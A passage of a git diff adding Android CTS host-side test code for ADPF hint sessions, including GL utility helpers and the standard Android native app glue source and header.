+ aout << "GL Error: " #e << std::endl; \
+ break;
+
+bool Utility::checkAndLogGlError(bool alwaysLog) {
+ GLenum error = glGetError();
+ if (error == GL_NO_ERROR) {
+ if (alwaysLog) {
+ aout << "No GL error" << std::endl;
+ }
+ return true;
+ } else {
+ switch (error) {
+ CHECK_ERROR(GL_INVALID_ENUM);
+ CHECK_ERROR(GL_INVALID_VALUE);
+ CHECK_ERROR(GL_INVALID_OPERATION);
+ CHECK_ERROR(GL_INVALID_FRAMEBUFFER_OPERATION);
+ CHECK_ERROR(GL_OUT_OF_MEMORY);
+ default:
+ aout << "Unknown GL error: " << error << std::endl;
+ }
+ return false;
+ }
+}
+
+float *Utility::buildOrthographicMatrix(float *outMatrix, float halfHeight, float aspect,
+ float near, float far) {
+ float halfWidth = halfHeight * aspect;
+
+ // column 1
+ outMatrix[0] = 1.f / halfWidth;
+ outMatrix[1] = 0.f;
+ outMatrix[2] = 0.f;
+ outMatrix[3] = 0.f;
+
+ // column 2
+ outMatrix[4] = 0.f;
+ outMatrix[5] = 1.f / halfHeight;
+ outMatrix[6] = 0.f;
+ outMatrix[7] = 0.f;
+
+ // column 3
+ outMatrix[8] = 0.f;
+ outMatrix[9] = 0.f;
+ outMatrix[10] = -2.f / (far - near);
+ outMatrix[11] = -(far + near) / (far - near);
+
+ // column 4
+ outMatrix[12] = 0.f;
+ outMatrix[13] = 0.f;
+ outMatrix[14] = 0.f;
+ outMatrix[15] = 1.f;
+
+ return outMatrix;
+}
+
+float *Utility::buildIdentityMatrix(float *outMatrix) {
+ // column 1
+ outMatrix[0] = 1.f;
+ outMatrix[1] = 0.f;
+ outMatrix[2] = 0.f;
+ outMatrix[3] = 0.f;
+
+ // column 2
+ outMatrix[4] = 0.f;
+ outMatrix[5] = 1.f;
+ outMatrix[6] = 0.f;
+ outMatrix[7] = 0.f;
+
+ // column 3
+ outMatrix[8] = 0.f;
+ outMatrix[9] = 0.f;
+ outMatrix[10] = 1.f;
+ outMatrix[11] = 0.f;
+
+ // column 4
+ outMatrix[12] = 0.f;
+ outMatrix[13] = 0.f;
+ outMatrix[14] = 0.f;
+ outMatrix[15] = 1.f;
+
+ return outMatrix;
+}
+
+void Utility::setFailure(std::string message, Renderer *renderer) {
+ aerr << message << std::endl;
+ if (renderer != nullptr) {
+ renderer->addResult("failure", message);
+ JNIManager::sendResultsToJava(renderer->getResults());
+ delete renderer;
+ } else {
+ JNIManager::sendResultsToJava({{"failure", message}});
+ }
+ exit(1);
+}
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/Utility.h b/hostsidetests/adpf/app/hintsession/src/cpp/Utility.h
new file mode 100644
index 0000000..2dfbfb14
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/Utility.h
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#pragma once
+
+#include <cassert>
+#include <string>
+
+#include "Renderer.h"
+
+class Utility {
+public:
+ static bool checkAndLogGlError(bool alwaysLog = false);
+
+ static inline void assertGlError() { assert(checkAndLogGlError()); }
+
+ /**
+ * Generates an orthographic projection matrix given the half height, aspect ratio, near, and
+ * far planes
+ *
+ * @param outMatrix the matrix to write into
+ * @param halfHeight half of the height of the screen
+ * @param aspect the width of the screen divided by the height
+ * @param near the distance of the near plane
+ * @param far the distance of the far plane
+ * @return the generated matrix, this will be the same as @a outMatrix so you can chain calls
+ * together if needed
+ */
+ static float *buildOrthographicMatrix(float *outMatrix, float halfHeight, float aspect,
+ float near, float far);
+
+ static float *buildIdentityMatrix(float *outMatrix);
+
+ static void setFailure(std::string message, Renderer *renderer = nullptr);
+};
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/external/android_native_app_glue.c b/hostsidetests/adpf/app/hintsession/src/cpp/external/android_native_app_glue.c
new file mode 100644
index 0000000..cff58c9
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/external/android_native_app_glue.c
@@ -0,0 +1,442 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "android_native_app_glue.h"
+
+#include <android/log.h>
+#include <errno.h>
+#include <jni.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/resource.h>
+#include <unistd.h>
+
+#define LOGI(...) ((void)__android_log_print(ANDROID_LOG_INFO, "threaded_app", __VA_ARGS__))
+#define LOGE(...) ((void)__android_log_print(ANDROID_LOG_ERROR, "threaded_app", __VA_ARGS__))
+#define UNUSED(x) (void)(x)
+
+/* For debug builds, always enable the debug traces in this library */
+#ifndef NDEBUG
+#define LOGV(...) ((void)__android_log_print(ANDROID_LOG_VERBOSE, "threaded_app", __VA_ARGS__))
+#else
+#define LOGV(...) ((void)0)
+#endif
+
+static void free_saved_state(struct android_app* android_app) {
+ pthread_mutex_lock(&android_app->mutex);
+ if (android_app->savedState != NULL) {
+ free(android_app->savedState);
+ android_app->savedState = NULL;
+ android_app->savedStateSize = 0;
+ }
+ pthread_mutex_unlock(&android_app->mutex);
+}
+
+int8_t android_app_read_cmd(struct android_app* android_app) {
+ int8_t cmd;
+ if (read(android_app->msgread, &cmd, sizeof(cmd)) == sizeof(cmd)) {
+ switch (cmd) {
+ case APP_CMD_SAVE_STATE:
+ free_saved_state(android_app);
+ break;
+ }
+ return cmd;
+ } else {
+ LOGE("No data on command pipe!");
+ }
+ return -1;
+}
+
+static void print_cur_config(struct android_app* android_app) {
+ char lang[2], country[2];
+ AConfiguration_getLanguage(android_app->config, lang);
+ AConfiguration_getCountry(android_app->config, country);
+
+ LOGV("Config: mcc=%d mnc=%d lang=%c%c cnt=%c%c orien=%d touch=%d dens=%d "
+ "keys=%d nav=%d keysHid=%d navHid=%d sdk=%d size=%d long=%d "
+ "modetype=%d modenight=%d",
+ AConfiguration_getMcc(android_app->config), AConfiguration_getMnc(android_app->config),
+ lang[0], lang[1], country[0], country[1],
+ AConfiguration_getOrientation(android_app->config),
+ AConfiguration_getTouchscreen(android_app->config),
+ AConfiguration_getDensity(android_app->config),
+ AConfiguration_getKeyboard(android_app->config),
+ AConfiguration_getNavigation(android_app->config),
+ AConfiguration_getKeysHidden(android_app->config),
+ AConfiguration_getNavHidden(android_app->config),
+ AConfiguration_getSdkVersion(android_app->config),
+ AConfiguration_getScreenSize(android_app->config),
+ AConfiguration_getScreenLong(android_app->config),
+ AConfiguration_getUiModeType(android_app->config),
+ AConfiguration_getUiModeNight(android_app->config));
+}
+
+void android_app_pre_exec_cmd(struct android_app* android_app, int8_t cmd) {
+ switch (cmd) {
+ case APP_CMD_INPUT_CHANGED:
+ LOGV("APP_CMD_INPUT_CHANGED\n");
+ pthread_mutex_lock(&android_app->mutex);
+ if (android_app->inputQueue != NULL) {
+ AInputQueue_detachLooper(android_app->inputQueue);
+ }
+ android_app->inputQueue = android_app->pendingInputQueue;
+ if (android_app->inputQueue != NULL) {
+ LOGV("Attaching input queue to looper");
+ AInputQueue_attachLooper(android_app->inputQueue, android_app->looper,
+ LOOPER_ID_INPUT, NULL, &android_app->inputPollSource);
+ }
+ pthread_cond_broadcast(&android_app->cond);
+ pthread_mutex_unlock(&android_app->mutex);
+ break;
+
+ case APP_CMD_INIT_WINDOW:
+ LOGV("APP_CMD_INIT_WINDOW\n");
+ pthread_mutex_lock(&android_app->mutex);
+ android_app->window = android_app->pendingWindow;
+ pthread_cond_broadcast(&android_app->cond);
+ pthread_mutex_unlock(&android_app->mutex);
+ break;
+
+ case APP_CMD_TERM_WINDOW:
+ LOGV("APP_CMD_TERM_WINDOW\n");
+ pthread_cond_broadcast(&android_app->cond);
+ break;
+
+ case APP_CMD_RESUME:
+ case APP_CMD_START:
+ case APP_CMD_PAUSE:
+ case APP_CMD_STOP:
+ LOGV("activityState=%d\n", cmd);
+ pthread_mutex_lock(&android_app->mutex);
+ android_app->activityState = cmd;
+ pthread_cond_broadcast(&android_app->cond);
+ pthread_mutex_unlock(&android_app->mutex);
+ break;
+
+ case APP_CMD_CONFIG_CHANGED:
+ LOGV("APP_CMD_CONFIG_CHANGED\n");
+ AConfiguration_fromAssetManager(android_app->config,
+ android_app->activity->assetManager);
+ print_cur_config(android_app);
+ break;
+
+ case APP_CMD_DESTROY:
+ LOGV("APP_CMD_DESTROY\n");
+ android_app->destroyRequested = 1;
+ break;
+ }
+}
+
+void android_app_post_exec_cmd(struct android_app* android_app, int8_t cmd) {
+ switch (cmd) {
+ case APP_CMD_TERM_WINDOW:
+ LOGV("APP_CMD_TERM_WINDOW\n");
+ pthread_mutex_lock(&android_app->mutex);
+ android_app->window = NULL;
+ pthread_cond_broadcast(&android_app->cond);
+ pthread_mutex_unlock(&android_app->mutex);
+ break;
+
+ case APP_CMD_SAVE_STATE:
+ LOGV("APP_CMD_SAVE_STATE\n");
+ pthread_mutex_lock(&android_app->mutex);
+ android_app->stateSaved = 1;
+ pthread_cond_broadcast(&android_app->cond);
+ pthread_mutex_unlock(&android_app->mutex);
+ break;
+
+ case APP_CMD_RESUME:
+ free_saved_state(android_app);
+ break;
+ }
+}
+
+void app_dummy(void) {}
+
+static void android_app_destroy(struct android_app* android_app) {
+ LOGV("android_app_destroy!");
+ free_saved_state(android_app);
+ pthread_mutex_lock(&android_app->mutex);
+ if (android_app->inputQueue != NULL) {
+ AInputQueue_detachLooper(android_app->inputQueue);
+ }
+ AConfiguration_delete(android_app->config);
+ android_app->destroyed = 1;
+ pthread_cond_broadcast(&android_app->cond);
+ pthread_mutex_unlock(&android_app->mutex);
+ // Can't touch android_app object after this.
+}
+
+static void process_input(struct android_app* app, struct android_poll_source* source) {
+ UNUSED(source);
+ AInputEvent* event = NULL;
+ while (AInputQueue_getEvent(app->inputQueue, &event) >= 0) {
+ LOGV("New input event: type=%d\n", AInputEvent_getType(event));
+ if (AInputQueue_preDispatchEvent(app->inputQueue, event)) {
+ continue;
+ }
+ int32_t handled = 0;
+ if (app->onInputEvent != NULL) handled = app->onInputEvent(app, event);
+ AInputQueue_finishEvent(app->inputQueue, event, handled);
+ }
+}
+
+static void process_cmd(struct android_app* app, struct android_poll_source* source) {
+ UNUSED(source);
+ int8_t cmd = android_app_read_cmd(app);
+ android_app_pre_exec_cmd(app, cmd);
+ if (app->onAppCmd != NULL) app->onAppCmd(app, cmd);
+ android_app_post_exec_cmd(app, cmd);
+}
+
+static void* android_app_entry(void* param) {
+ struct android_app* android_app = (struct android_app*)param;
+
+ android_app->config = AConfiguration_new();
+ AConfiguration_fromAssetManager(android_app->config, android_app->activity->assetManager);
+
+ print_cur_config(android_app);
+
+ android_app->cmdPollSource.id = LOOPER_ID_MAIN;
+ android_app->cmdPollSource.app = android_app;
+ android_app->cmdPollSource.process = process_cmd;
+ android_app->inputPollSource.id = LOOPER_ID_INPUT;
+ android_app->inputPollSource.app = android_app;
+ android_app->inputPollSource.process = process_input;
+
+ ALooper* looper = ALooper_prepare(ALOOPER_PREPARE_ALLOW_NON_CALLBACKS);
+ ALooper_addFd(looper, android_app->msgread, LOOPER_ID_MAIN, ALOOPER_EVENT_INPUT, NULL,
+ &android_app->cmdPollSource);
+ android_app->looper = looper;
+
+ pthread_mutex_lock(&android_app->mutex);
+ android_app->running = 1;
+ pthread_cond_broadcast(&android_app->cond);
+ pthread_mutex_unlock(&android_app->mutex);
+
+ android_main(android_app);
+
+ android_app_destroy(android_app);
+ return NULL;
+}
+
+// --------------------------------------------------------------------
+// Native activity interaction (called from main thread)
+// --------------------------------------------------------------------
+
+static struct android_app* android_app_create(ANativeActivity* activity, void* savedState,
+ size_t savedStateSize) {
+ struct android_app* android_app = (struct android_app*)malloc(sizeof(struct android_app));
+ memset(android_app, 0, sizeof(struct android_app));
+ android_app->activity = activity;
+
+ pthread_mutex_init(&android_app->mutex, NULL);
+ pthread_cond_init(&android_app->cond, NULL);
+
+ if (savedState != NULL) {
+ android_app->savedState = malloc(savedStateSize);
+ android_app->savedStateSize = savedStateSize;
+ memcpy(android_app->savedState, savedState, savedStateSize);
+ }
+
+ int msgpipe[2];
+ if (pipe(msgpipe)) {
+ LOGE("could not create pipe: %s", strerror(errno));
+ return NULL;
+ }
+ android_app->msgread = msgpipe[0];
+ android_app->msgwrite = msgpipe[1];
+
+ pthread_attr_t attr;
+ pthread_attr_init(&attr);
+ pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
+ pthread_create(&android_app->thread, &attr, android_app_entry, android_app);
+
+ // Wait for thread to start.
+ pthread_mutex_lock(&android_app->mutex);
+ while (!android_app->running) {
+ pthread_cond_wait(&android_app->cond, &android_app->mutex);
+ }
+ pthread_mutex_unlock(&android_app->mutex);
+
+ return android_app;
+}
+
+static void android_app_write_cmd(struct android_app* android_app, int8_t cmd) {
+ if (write(android_app->msgwrite, &cmd, sizeof(cmd)) != sizeof(cmd)) {
+ LOGE("Failure writing android_app cmd: %s\n", strerror(errno));
+ }
+}
+
+static void android_app_set_input(struct android_app* android_app, AInputQueue* inputQueue) {
+ pthread_mutex_lock(&android_app->mutex);
+ android_app->pendingInputQueue = inputQueue;
+ android_app_write_cmd(android_app, APP_CMD_INPUT_CHANGED);
+ while (android_app->inputQueue != android_app->pendingInputQueue) {
+ pthread_cond_wait(&android_app->cond, &android_app->mutex);
+ }
+ pthread_mutex_unlock(&android_app->mutex);
+}
+
+static void android_app_set_window(struct android_app* android_app, ANativeWindow* window) {
+ pthread_mutex_lock(&android_app->mutex);
+ if (android_app->pendingWindow != NULL) {
+ android_app_write_cmd(android_app, APP_CMD_TERM_WINDOW);
+ }
+ android_app->pendingWindow = window;
+ if (window != NULL) {
+ android_app_write_cmd(android_app, APP_CMD_INIT_WINDOW);
+ }
+ while (android_app->window != android_app->pendingWindow) {
+ pthread_cond_wait(&android_app->cond, &android_app->mutex);
+ }
+ pthread_mutex_unlock(&android_app->mutex);
+}
+
+static void android_app_set_activity_state(struct android_app* android_app, int8_t cmd) {
+ pthread_mutex_lock(&android_app->mutex);
+ android_app_write_cmd(android_app, cmd);
+ while (android_app->activityState != cmd) {
+ pthread_cond_wait(&android_app->cond, &android_app->mutex);
+ }
+ pthread_mutex_unlock(&android_app->mutex);
+}
+
+static void android_app_free(struct android_app* android_app) {
+ pthread_mutex_lock(&android_app->mutex);
+ android_app_write_cmd(android_app, APP_CMD_DESTROY);
+ while (!android_app->destroyed) {
+ pthread_cond_wait(&android_app->cond, &android_app->mutex);
+ }
+ pthread_mutex_unlock(&android_app->mutex);
+
+ close(android_app->msgread);
+ close(android_app->msgwrite);
+ pthread_cond_destroy(&android_app->cond);
+ pthread_mutex_destroy(&android_app->mutex);
+ free(android_app);
+}
+
+static void onDestroy(ANativeActivity* activity) {
+ LOGV("Destroy: %p\n", activity);
+ android_app_free((struct android_app*)activity->instance);
+}
+
+static void onStart(ANativeActivity* activity) {
+ LOGV("Start: %p\n", activity);
+ android_app_set_activity_state((struct android_app*)activity->instance, APP_CMD_START);
+}
+
+static void onResume(ANativeActivity* activity) {
+ LOGV("Resume: %p\n", activity);
+ android_app_set_activity_state((struct android_app*)activity->instance, APP_CMD_RESUME);
+}
+
+static void* onSaveInstanceState(ANativeActivity* activity, size_t* outLen) {
+ struct android_app* android_app = (struct android_app*)activity->instance;
+ void* savedState = NULL;
+
+ LOGV("SaveInstanceState: %p\n", activity);
+ pthread_mutex_lock(&android_app->mutex);
+ android_app->stateSaved = 0;
+ android_app_write_cmd(android_app, APP_CMD_SAVE_STATE);
+ while (!android_app->stateSaved) {
+ pthread_cond_wait(&android_app->cond, &android_app->mutex);
+ }
+
+ if (android_app->savedState != NULL) {
+ savedState = android_app->savedState;
+ *outLen = android_app->savedStateSize;
+ android_app->savedState = NULL;
+ android_app->savedStateSize = 0;
+ }
+
+ pthread_mutex_unlock(&android_app->mutex);
+
+ return savedState;
+}
+
+static void onPause(ANativeActivity* activity) {
+ LOGV("Pause: %p\n", activity);
+ android_app_set_activity_state((struct android_app*)activity->instance, APP_CMD_PAUSE);
+}
+
+static void onStop(ANativeActivity* activity) {
+ LOGV("Stop: %p\n", activity);
+ android_app_set_activity_state((struct android_app*)activity->instance, APP_CMD_STOP);
+}
+
+static void onConfigurationChanged(ANativeActivity* activity) {
+ struct android_app* android_app = (struct android_app*)activity->instance;
+ LOGV("ConfigurationChanged: %p\n", activity);
+ android_app_write_cmd(android_app, APP_CMD_CONFIG_CHANGED);
+}
+
+static void onLowMemory(ANativeActivity* activity) {
+ struct android_app* android_app = (struct android_app*)activity->instance;
+ LOGV("LowMemory: %p\n", activity);
+ android_app_write_cmd(android_app, APP_CMD_LOW_MEMORY);
+}
+
+static void onWindowFocusChanged(ANativeActivity* activity, int focused) {
+ LOGV("WindowFocusChanged: %p -- %d\n", activity, focused);
+ android_app_write_cmd((struct android_app*)activity->instance,
+ focused ? APP_CMD_GAINED_FOCUS : APP_CMD_LOST_FOCUS);
+}
+
+static void onNativeWindowCreated(ANativeActivity* activity, ANativeWindow* window) {
+ LOGV("NativeWindowCreated: %p -- %p\n", activity, window);
+ android_app_set_window((struct android_app*)activity->instance, window);
+}
+
+static void onNativeWindowDestroyed(ANativeActivity* activity, ANativeWindow* window) {
+ UNUSED(window);
+ LOGV("NativeWindowDestroyed: %p -- %p\n", activity, window);
+ android_app_set_window((struct android_app*)activity->instance, NULL);
+}
+
+static void onInputQueueCreated(ANativeActivity* activity, AInputQueue* queue) {
+ LOGV("InputQueueCreated: %p -- %p\n", activity, queue);
+ android_app_set_input((struct android_app*)activity->instance, queue);
+}
+
+static void onInputQueueDestroyed(ANativeActivity* activity, AInputQueue* queue) {
+ UNUSED(queue);
+ LOGV("InputQueueDestroyed: %p -- %p\n", activity, queue);
+ android_app_set_input((struct android_app*)activity->instance, NULL);
+}
+
+__attribute__((visibility("default"))) void ANativeActivity_onCreate(ANativeActivity* activity,
+ void* savedState,
+ size_t savedStateSize) {
+ LOGV("Creating: %p\n", activity);
+ activity->callbacks->onDestroy = onDestroy;
+ activity->callbacks->onStart = onStart;
+ activity->callbacks->onResume = onResume;
+ activity->callbacks->onSaveInstanceState = onSaveInstanceState;
+ activity->callbacks->onPause = onPause;
+ activity->callbacks->onStop = onStop;
+ activity->callbacks->onConfigurationChanged = onConfigurationChanged;
+ activity->callbacks->onLowMemory = onLowMemory;
+ activity->callbacks->onWindowFocusChanged = onWindowFocusChanged;
+ activity->callbacks->onNativeWindowCreated = onNativeWindowCreated;
+ activity->callbacks->onNativeWindowDestroyed = onNativeWindowDestroyed;
+ activity->callbacks->onInputQueueCreated = onInputQueueCreated;
+ activity->callbacks->onInputQueueDestroyed = onInputQueueDestroyed;
+
+ activity->instance = android_app_create(activity, savedState, savedStateSize);
+}
\ No newline at end of file
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/external/android_native_app_glue.h b/hostsidetests/adpf/app/hintsession/src/cpp/external/android_native_app_glue.h
new file mode 100644
index 0000000..b669577
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/external/android_native_app_glue.h
@@ -0,0 +1,348 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _ANDROID_NATIVE_APP_GLUE_H
+#define _ANDROID_NATIVE_APP_GLUE_H
+
+#include <android/configuration.h>
+#include <android/looper.h>
+#include <android/native_activity.h>
+#include <poll.h>
+#include <pthread.h>
+#include <sched.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * The native activity interface provided by <android/native_activity.h>
+ * is based on a set of application-provided callbacks that will be called
+ * by the Activity's main thread when certain events occur.
+ *
+ * This means that each one of this callbacks _should_ _not_ block, or they
+ * risk having the system force-close the application. This programming
+ * model is direct, lightweight, but constraining.
+ *
+ * The 'android_native_app_glue' static library is used to provide a different
+ * execution model where the application can implement its own main event
+ * loop in a different thread instead. Here's how it works:
+ *
+ * 1/ The application must provide a function named "android_main()" that
+ * will be called when the activity is created, in a new thread that is
+ * distinct from the activity's main thread.
+ *
+ * 2/ android_main() receives a pointer to a valid "android_app" structure
+ * that contains references to other important objects, e.g. the
+ * ANativeActivity object instance the application is running in.
+ *
+ * 3/ the "android_app" object holds an ALooper instance that already
+ * listens to two important things:
+ *
+ * - activity lifecycle events (e.g. "pause", "resume"). See APP_CMD_XXX
+ * declarations below.
+ *
+ * - input events coming from the AInputQueue attached to the activity.
+ *
+ * Each of these correspond to an ALooper identifier returned by
+ * ALooper_pollOnce with values of LOOPER_ID_MAIN and LOOPER_ID_INPUT,
+ * respectively.
+ *
+ * Your application can use the same ALooper to listen to additional
+ * file-descriptors. They can either be callback based, or with return
+ * identifiers starting with LOOPER_ID_USER.
+ *
+ * 4/ Whenever you receive a LOOPER_ID_MAIN or LOOPER_ID_INPUT event,
+ * the returned data will point to an android_poll_source structure. You
+ * can call the process() function on it, and fill in android_app->onAppCmd
+ * and android_app->onInputEvent to be called for your own processing
+ * of the event.
+ *
+ * Alternatively, you can call the low-level functions to read and process
+ * the data directly... look at the process_cmd() and process_input()
+ * implementations in the glue to see how to do this.
+ *
+ * See the sample named "native-activity" that comes with the NDK with a
+ * full usage example. Also look at the JavaDoc of NativeActivity.
+ */
+
+struct android_app;
+
+/**
+ * Data associated with an ALooper fd that will be returned as the "outData"
+ * when that source has data ready.
+ */
+struct android_poll_source {
+ // The identifier of this source. May be LOOPER_ID_MAIN or
+ // LOOPER_ID_INPUT.
+ int32_t id;
+
+ // The android_app this ident is associated with.
+ struct android_app* app;
+
+ // Function to call to perform the standard processing of data from
+ // this source.
+ void (*process)(struct android_app* app, struct android_poll_source* source);
+};
+
+/**
+ * This is the interface for the standard glue code of a threaded
+ * application. In this model, the application's code is running
+ * in its own thread separate from the main thread of the process.
+ * It is not required that this thread be associated with the Java
+ * VM, although it will need to be in order to make JNI calls any
+ * Java objects.
+ */
+struct android_app {
+ // The application can place a pointer to its own state object
+ // here if it likes.
+ void* userData;
+
+ // Fill this in with the function to process main app commands (APP_CMD_*)
+ void (*onAppCmd)(struct android_app* app, int32_t cmd);
+
+ // Fill this in with the function to process input events. At this point
+ // the event has already been pre-dispatched, and it will be finished upon
+ // return. Return 1 if you have handled the event, 0 for any default
+ // dispatching.
+ int32_t (*onInputEvent)(struct android_app* app, AInputEvent* event);
+
+ // The ANativeActivity object instance that this app is running in.
+ ANativeActivity* activity;
+
+ // The current configuration the app is running in.
+ AConfiguration* config;
+
+ // This is the last instance's saved state, as provided at creation time.
+ // It is NULL if there was no state. You can use this as you need; the
+ // memory will remain around until you call android_app_exec_cmd() for
+ // APP_CMD_RESUME, at which point it will be freed and savedState set to NULL.
+ // These variables should only be changed when processing a APP_CMD_SAVE_STATE,
+ // at which point they will be initialized to NULL and you can malloc your
+ // state and place the information here. In that case the memory will be
+ // freed for you later.
+ void* savedState;
+ size_t savedStateSize;
+
+ // The ALooper associated with the app's thread.
+ ALooper* looper;
+
+ // When non-NULL, this is the input queue from which the app will
+ // receive user input events.
+ AInputQueue* inputQueue;
+
+ // When non-NULL, this is the window surface that the app can draw in.
+ ANativeWindow* window;
+
+ // Current content rectangle of the window; this is the area where the
+ // window's content should be placed to be seen by the user.
+ ARect contentRect;
+
+ // Current state of the app's activity. May be either APP_CMD_START,
+ // APP_CMD_RESUME, APP_CMD_PAUSE, or APP_CMD_STOP; see below.
+ int activityState;
+
+ // This is non-zero when the application's NativeActivity is being
+ // destroyed and waiting for the app thread to complete.
+ int destroyRequested;
+
+ // -------------------------------------------------
+ // Below are "private" implementation of the glue code.
+
+ pthread_mutex_t mutex;
+ pthread_cond_t cond;
+
+ int msgread;
+ int msgwrite;
+
+ pthread_t thread;
+
+ struct android_poll_source cmdPollSource;
+ struct android_poll_source inputPollSource;
+
+ int running;
+ int stateSaved;
+ int destroyed;
+ int redrawNeeded;
+ AInputQueue* pendingInputQueue;
+ ANativeWindow* pendingWindow;
+ ARect pendingContentRect;
+};
+
+enum {
+ /**
+ * Looper data ID of commands coming from the app's main thread, which
+ * is returned as an identifier from ALooper_pollOnce(). The data for this
+ * identifier is a pointer to an android_poll_source structure.
+ * These can be retrieved and processed with android_app_read_cmd()
+ * and android_app_exec_cmd().
+ */
+ LOOPER_ID_MAIN = 1,
+
+ /**
+ * Looper data ID of events coming from the AInputQueue of the
+ * application's window, which is returned as an identifier from
+ * ALooper_pollOnce(). The data for this identifier is a pointer to an
+ * android_poll_source structure. These can be read via the inputQueue
+ * object of android_app.
+ */
+ LOOPER_ID_INPUT = 2,
+
+ /**
+ * Start of user-defined ALooper identifiers.
+ */
+ LOOPER_ID_USER = 3,
+};
+
+enum {
+ /**
+ * Command from main thread: the AInputQueue has changed. Upon processing
+ * this command, android_app->inputQueue will be updated to the new queue
+ * (or NULL).
+ */
+ APP_CMD_INPUT_CHANGED,
+
+ /**
+ * Command from main thread: a new ANativeWindow is ready for use. Upon
+ * receiving this command, android_app->window will contain the new window
+ * surface.
+ */
+ APP_CMD_INIT_WINDOW,
+
+ /**
+ * Command from main thread: the existing ANativeWindow needs to be
+ * terminated. Upon receiving this command, android_app->window still
+ * contains the existing window; after calling android_app_exec_cmd
+ * it will be set to NULL.
+ */
+ APP_CMD_TERM_WINDOW,
+
+ /**
+ * Command from main thread: the current ANativeWindow has been resized.
+ * Please redraw with its new size.
+ */
+ APP_CMD_WINDOW_RESIZED,
+
+ /**
+ * Command from main thread: the system needs that the current ANativeWindow
+ * be redrawn. You should redraw the window before handing this to
+ * android_app_exec_cmd() in order to avoid transient drawing glitches.
+ */
+ APP_CMD_WINDOW_REDRAW_NEEDED,
+
+ /**
+ * Command from main thread: the content area of the window has changed,
+ * such as from the soft input window being shown or hidden. You can
+ * find the new content rect in android_app::contentRect.
+ */
+ APP_CMD_CONTENT_RECT_CHANGED,
+
+ /**
+ * Command from main thread: the app's activity window has gained
+ * input focus.
+ */
+ APP_CMD_GAINED_FOCUS,
+
+ /**
+ * Command from main thread: the app's activity window has lost
+ * input focus.
+ */
+ APP_CMD_LOST_FOCUS,
+
+ /**
+ * Command from main thread: the current device configuration has changed.
+ */
+ APP_CMD_CONFIG_CHANGED,
+
+ /**
+ * Command from main thread: the system is running low on memory.
+ * Try to reduce your memory use.
+ */
+ APP_CMD_LOW_MEMORY,
+
+ /**
+ * Command from main thread: the app's activity has been started.
+ */
+ APP_CMD_START,
+
+ /**
+ * Command from main thread: the app's activity has been resumed.
+ */
+ APP_CMD_RESUME,
+
+ /**
+ * Command from main thread: the app should generate a new saved state
+ * for itself, to restore from later if needed. If you have saved state,
+ * allocate it with malloc and place it in android_app.savedState with
+ * the size in android_app.savedStateSize. The will be freed for you
+ * later.
+ */
+ APP_CMD_SAVE_STATE,
+
+ /**
+ * Command from main thread: the app's activity has been paused.
+ */
+ APP_CMD_PAUSE,
+
+ /**
+ * Command from main thread: the app's activity has been stopped.
+ */
+ APP_CMD_STOP,
+
+ /**
+ * Command from main thread: the app's activity is being destroyed,
+ * and waiting for the app thread to clean up and exit before proceeding.
+ */
+ APP_CMD_DESTROY,
+};
+
+/**
+ * Call when ALooper_pollAll() returns LOOPER_ID_MAIN, reading the next
+ * app command message.
+ */
+int8_t android_app_read_cmd(struct android_app* android_app);
+
+/**
+ * Call with the command returned by android_app_read_cmd() to do the
+ * initial pre-processing of the given command. You can perform your own
+ * actions for the command after calling this function.
+ */
+void android_app_pre_exec_cmd(struct android_app* android_app, int8_t cmd);
+
+/**
+ * Call with the command returned by android_app_read_cmd() to do the
+ * final post-processing of the given command. You must have done your own
+ * actions for the command before calling this function.
+ */
+void android_app_post_exec_cmd(struct android_app* android_app, int8_t cmd);
+
+/**
+ * Placeholder function you can call to ensure glue code isn't stripped.
+ */
+void app_dummy(void);
+
+/**
+ * This is the function that application code must implement, representing
+ * the main entry to the app.
+ */
+extern void android_main(struct android_app* app);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* _ANDROID_NATIVE_APP_GLUE_H */
\ No newline at end of file
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/main.cpp b/hostsidetests/adpf/app/hintsession/src/cpp/main.cpp
new file mode 100644
index 0000000..805cd70
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/main.cpp
@@ -0,0 +1,249 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
